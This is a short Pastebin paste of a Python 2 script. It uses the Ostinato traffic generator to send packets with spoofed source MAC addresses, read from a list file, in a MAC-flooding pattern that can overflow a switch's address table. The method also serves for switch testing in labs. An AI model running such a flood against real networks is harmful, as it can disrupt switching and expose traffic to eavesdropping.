Advertisement
Guest User

Ostinato MAC flood simple python script

a guest
Apr 17th, 2017
728
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.85 KB | None | 0 0
  1. from simple_ostinato import Drone
  2. from simple_ostinato.protocols import Mac, Ethernet, IPv4, Payload
  3. import time, sys
  4.  
  5. # connect to the drone instance that runs on localhost
  6. drone = Drone('localhost')
  7.  
  8. drone.fetch_ports()
  9. port=drone.ports[0]
  10.  
  11. stream = port.add_stream()
  12. # configure the stream
  13. stream.name = 'a_stream'
  14. stream.unit = 'PACKETS'
  15. stream.mode = 'FIXED'
  16. stream.next = 'STOP'
  17. stream.num_packets = 1
  18. stream.packets_per_sec = 100
  19. stream.is_enabled = True
  20.  
  21. macs = open('macaddresses2.list','r')
  22. for mac_i, mac in enumerate(macs):
  23.     mac = mac.replace('.','')
  24.     mac = ":".join([mac[i:i+2] for i in range(0, len(mac), 2)])[:-2]
  25.     print mac
  26.     stream.layers = [
  27.         Mac(source=mac, destination='00:01:02:03:04:05'),
  28.         Ethernet(ether_type=0x800),
  29.         IPv4(source='1.1.1.1', destination='2.2.2.2'),
  30.         Payload()]
  31.     stream.save()
  32.  
  33.     port.start_send()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement